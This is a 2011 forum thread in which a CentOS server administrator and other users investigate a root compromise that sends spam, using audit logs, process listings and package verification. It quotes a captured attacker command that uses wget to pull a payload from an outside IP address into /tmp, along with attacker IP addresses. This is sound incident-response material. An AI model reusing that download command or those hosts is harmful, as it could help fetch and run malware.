CentOS 6 GRSecurity + SELinux security issue

melco · 09-13-2011, 07:45 AM

Hello community!
I have a serious security issue.
System: centos 6 fully updated
Software:
nginx version: nginx/0.8.54 (public IP)
httpd-2.2.15-5.el6.centos.x86_64 (127.0.0.1) + PHP
exim-4.72-2.el6.x86_64 (Public IP)
openssh-server-5.3p1-207.el6_9.38.x86_64 (Public ip non-standard port)
Percona-Server-server-51-5.1.58-rel12.9.271.rhel6.x86_64 (mysql-server) (127.0.0.1 + unix socket)

All these have SELinux policies. All packages are up to date.
One day I noticed thousands of mail rejects in my mailbox (root alias -> my email)
I found that mail wasn't send by apache but instead from root (can be found in /var/spool/exim/input/<file>). It was quite confusing for me and I've enabled additional auditing to /usr/sbin/sendmail which is alias to /usr/sbin/exim

Code:

/etc/audit/audit.rules:
...
-w /usr/sbin/exim
-w /usr/sbin/sendmail
...

Now I have every call to sendmail logged to audit.log
What I found later:

ausearch -if /var/log/audit/audit.log.3

Code:

...
----
time->Tue Sep 13 09:39:07 2011
type=PATH msg=audit(1315892347.128:22769): item=1 name=(null) inode=1046887 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:ld_so_t:s0
type=PATH msg=audit(1315892347.128:22769): item=0 name="/usr/sbin/sendmail" inode=1182975 dev=fd:01 mode=0104755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:exim_exec_t:s0
type=CWD msg=audit(1315892347.128:22769):  cwd="/root" type=EXECVE msg=audit(1315892347.128:22769): argc=2 a0="/usr/sbin/sendmail" a1="-t"
type=SYSCALL msg=audit(1315892347.128:22769): arch=c000003e syscall=59 success=yes exit=0 a0=6649d0 a1=78b6b0 a2=624c00 a3=7dc95a39a7f0 items=2 ppid=25264 pid=27468 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm="sendmail" exe="/usr/sbin/exim" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key=(null)
----
...

while normal message from php website looks like:

Code:

----
time->Tue Sep 13 10:00:30 2011
type=PATH msg=audit(1315893630.757:30022): item=1 name=(null) inode=1046887 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:ld_so_t:s0
type=PATH msg=audit(1315893630.757:30022): item=0 name="/usr/sbin/sendmail" inode=1182975 dev=fd:01 mode=0104755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:exim_exec_t:s0
type=CWD msg=audit(1315893630.757:30022):  cwd="/var/www/website.net/htdocs"
type=BPRM_FCAPS msg=audit(1315893630.757:30022): fver=0 fp=0000000000000000 fi=0000000000000000 fe=0 old_pp=0000000000000000 old_pi=0000000000000000 old_pe=0000000000000000 new_pp=ffffffffffffffff new_pi=0000000000000000 new_pe=ffffffffffffffff
type=EXECVE msg=audit(1315893630.757:30022): argc=3 a0="/usr/sbin/sendmail" a1="-t" a2="-i"
type=SYSCALL msg=audit(1315893630.757:30022): arch=c000003e syscall=59 success=yes exit=0 a0=6ecd40 a1=6ece10 a2=6ebbc0 a3=7685f60a8cd0 items=2 ppid=26923 pid=7351 auid=4294967295 uid=1501 gid=48 euid=0 suid=0 fsuid=0 egid=48 sgid=48 fsgid=48 tty=(none) ses=4294967295 comm="sendmail" exe="/usr/sbin/exim" subj=system_u:system_r:system_mail_t:s0 key=(null)
----

notice uid in both outputs. In case of website uid is 1501. In case of spam source it's uid=0!!!
PID 27468 is not running for now. PPID 25264 also not running.
Notice the difference in the last line:

subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key=(null)
VS
subj=system_u:system_r:system_mail_t:s0 key=(null)

How do I find how this access was gained and how to investigate this incident further?
Any help appreciated

slimm609 · 09-13-2011, 09:22 AM

so you are running SELinux and GrSecurity? look through /var/log/message, /var/log/secure, and /var/log/maillog and look around the times that ausearch found for those. also it looks like you are running the MLS/MCS policy for selinux

Quote:

s0-s0:c0.c1023

the s is the "classification level" and the c is the "classification category". If you are running both i would recommend only running one or the other as 2 MAC systems are not going to play well together.

melco · 09-13-2011, 10:08 AM

I use grsecurity only for PaX. I'm not using grsec MAC implementation.
I've forung nothing related to this time in logs. What I've forund is that according to ppid number it was one of exim processes who was parrent for process actually calling 'sendmail -t'
I removed exim and installed postfix. Any additional audit I can enable to find it?
And about MCS. I'm not using it of course.

Code:

# rpm -qa | grep policy
checkpolicy-2.0.22-1.el6.x86_64
selinux-policy-3.7.19-54.el6_0.5.noarch
policycoreutils-python-2.0.83-19.8.el6_0.x86_64
policycoreutils-2.0.83-19.8.el6_0.x86_64
selinux-policy-targeted-3.7.19-54.el6_0.5.noarch

The most interesting is how process got unconfined_t domain? The only way I know is through login process. But there is nothing in logs about ssh login. Any ideas?

melco · 09-14-2011, 05:36 AM

Code:

root      7736  0.0  0.0 127880  2432 ?        Ss   14:13   0:00 perl
root      7743  0.1  0.0 133780  2044 ?        S    14:13   0:00 /usr/bin/wget -q -O /tmp/a8dAmUYXNDE http://198.68.160.230/smtmp/10776.7412.1315995128.wk.txt

Found in ps output
The parent is perl process running a file with blank name " " (without quotes)
I'm going to setup audit watch on perl call and trigger custom script to collect more details about process and it's parent.
Suggestions appreciated

melco · 09-14-2011, 06:09 AM

Found that parent script used nohup to run perl, which ran wget you can see in previous post. Found it using ls -alu which gave me atime.

melco · 09-14-2011, 06:38 AM

New info. nohup was not used. I killed with kill -SOTP perl process.

Code:

# ls -la /proc/21503/fd
total 0
dr-x------. 2 root 1001  0 Sep 14 15:11 .
dr-xr-x---. 7 root 1001  0 Sep 14 15:10 ..
lr-x------. 1 root root 64 Sep 14 15:11 0 -> /dev/null
l-wx------. 1 root root 64 Sep 14 15:11 1 -> /dev/null
l-wx------. 1 root root 64 Sep 14 15:11 2 -> /dev/null
lr-x------. 1 root root 64 Sep 14 15:11 3 -> pipe:[10819223]

I've replaced perl with bash script to log it's input to file.
But now I don't know how to catch real script callsr. Perl's ppid=1 which is unfortunately init

melco · 09-14-2011, 07:30 AM

The strange thig is that according to audit.log auid of caller is auid=4294967295 which means user was never authenticated. Even apache when calling sendmail has auid=500

melco · 09-14-2011, 12:29 PM

we are somewhere

# ps -ef | grep 20801
root 20801 1872 0 20:19 ? 00:00:00 sshd: root@notty
root 20809 20801 0 20:19 ? 00:00:00 /bin/bash /usr/bin/perl
root 27854 16686 0 21:29 pts/1 00:00:00 grep 20801

but nothing in audit.log about 20801.
Now I have a perl script which is sending spam. Need some time to debug it

slimm609 · 09-14-2011, 12:56 PM

What auditd policy are you running? Your audit policy may not be catching everything it should.
Are you running GRsecurity without using the policy or are you just running pax?
What other hardening have you done to the system?
Are you running any type of host IDS. e.g. tripwire, aide, etc. If so have to checked it to see what all has changed?
Have you run rootkit hunter or chkrootkit? Any results?

Have you gone through the CERT checklists, etc?
http://www.linuxquestions.org/questi...61/#post222575

If you haven't already backup/tar the perl script. We may be able to help look at it but do not post it on here.

melco · 09-14-2011, 02:03 PM

1. auditd policy here
2. I'm running grsecurity patched kernel 2.6.34.45 without using grsecurity's MAC. Only for PaX + chroot hardening
3. Other hardening? Nothing special. ssh on non-standard post (didn't help). iptables permits only tcp 80, tcp 4422, tcp 21, tcp 25 incoming ports.
4. I'm not running any kond of IDS.
5. rkhuner showed only that there is something with perl (of cource I replaced perl with my bash script to get evil perl script content)

Other steps done:
sshd files are consistent, checksums are the same like on virgin centos 6 on my VM.
sshd_config explicitly denys root login.
I have no audit history about when this pid was burn. Only because I added rule to audit every run on sendmail and audit file limit was set to 5Mb with limit of 3 rotated files (already increased).
Now I killed this process and waiting to catch it again and check audit logs.

slimm609 · 09-14-2011, 03:39 PM

if you look in /usr/share/doc/audit-${version}/ there is a stig.rules that is pretty good. If you load that in it sets it to immutable so you have to reboot to change the rules or disable auditing. (for future, wont really help much for this incident).

capp.rules
lspp.rules
nsipom.rules
stig.rules

These are all rules for a 64bit OS but the path listed in the first line has all of these in there

also check your FTP logs.

looking over the stuff you sent.

Noway2 · 09-14-2011, 04:11 PM

From the initial read, I can think of three things to add:
1 - Since your running Centos, have you performed an RPM verify to see what binaries have been modified? You mentioned SSH verifying, but have you tried the others?
2 - In an early post, you mentioned the PERL with no file name and the /usr/bin/wget -q -O /tmp/a8dAmUYXNDE. I read this to mean that some files were uploaded to your system from some place. Can you confirm this. If so, what is the file? I would hazard a guess here that it would be safe to look at the file contents as I am sure that they have already been used to exploit you.
3 - your open ports are pretty sparse, but you have port 21 open, which is FTP. Are you running an (unencrypted) FTP site? Could this have been a possible intrusion vector?

Also, it looks pretty obvious that root was obtained. Does you SSH enable root login? If not, they would have had to use another path such as commandeer another process, such as apache, get a shell prompt, and then work away at getting root.

melco · 09-15-2011, 12:25 AM

Noway2,
1. No. I'm looking for a solution to check file consistency by checksum. I don't know how to automate file consistency check.
2. root@notty called perl from bash and passed script to bash. You can download file on your own. It is encrypted in some way. I have to spend some time debugging the script to understand. I'll PM you the code of the script.
3. No. It's not FTP. I have fail2ban and ftp users are only allowed to login through ftp. + It's stable package from RedHat + I have Grsecurity kernel. It's unlikely that one can exploit something in proftpd
4. As I said in previous post Root login through ssh is denied. It's the most confusing part

melco · 09-15-2011, 03:20 AM

I can see new trys to login as root from the same ip address. Does anybody know how to patch openssh-server sources to catch password which it sends? I want to know if root password was compromised somehow. I don't use root password as I have my account with sudo rights. I want to log data it sends somehow. It looks like it is some automated method to execute evil code since I see regular tries to login with root from the same IP:

Code:

time->Thu Sep 15 09:10:26 2011
type=USER_AUTH msg=audit(1316063426.477:75443): user pid=19457 uid=0 auid=0 ses=386 subj=unconfined_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=PAM:authentication acct="root" exe="/usr/sbin/sshd" hostname=64.71.139.62 addr=64.71.139.62 terminal=ssh res=failed'

Noway2 · 09-15-2011, 04:22 AM

The command to verify all of the packages would be: rpm -Va. See the following link from rpm.org. It also provides a nice description of what all the verify command does for you.

The first file that was uploaded to pastebin is obviously the mail script. I agree that the other file is encrypted some how. I can't recall the exact details off hand, but I remember something about using a rotate command to shift all the data to obfuscate the code. It is a reversible process and was a popular technique at one point. Another possibility would be base64 encoding.

Unfortunately, there is no way (that I know of) to record the SSH passwords. This was done by design. There is actually a whole thread on this subject in LQ-Sec from not too long ago. The IP address that is being used is a static ip from a hosting provider in California, called TVC.net (the virtual company). Undoubtedly, belonging to someone else compromised machine.

Your services look pretty well locked down and hopefully you have enough log information intact to give some good leads. Clearly they were able to upload and execute code, as root, so it is extremely important for you to find and plug this hole. My recommendation would be to verify the RPM packages to see if any have been altered, use the find command to locate any strange or unusual files in a location like /tmp. The CERT checklist has some really good examples of how to do this. Next, I would look at the output of the following commands: ps axfwwwwe, netstat -pane and lsof -Pwn. You will need to run these commands as root. I would verify the packages first as it is possible to alter the binaries to give incorrect information. Following this, would be a painstaking review of the logs. Running them through logwatch on high detail level can often times catch things that are hard for a human to see. On the other hand, scanning through the logs, and simply looking for unique visual patterns, as the logs repeat a lot), can catch things that the tools miss.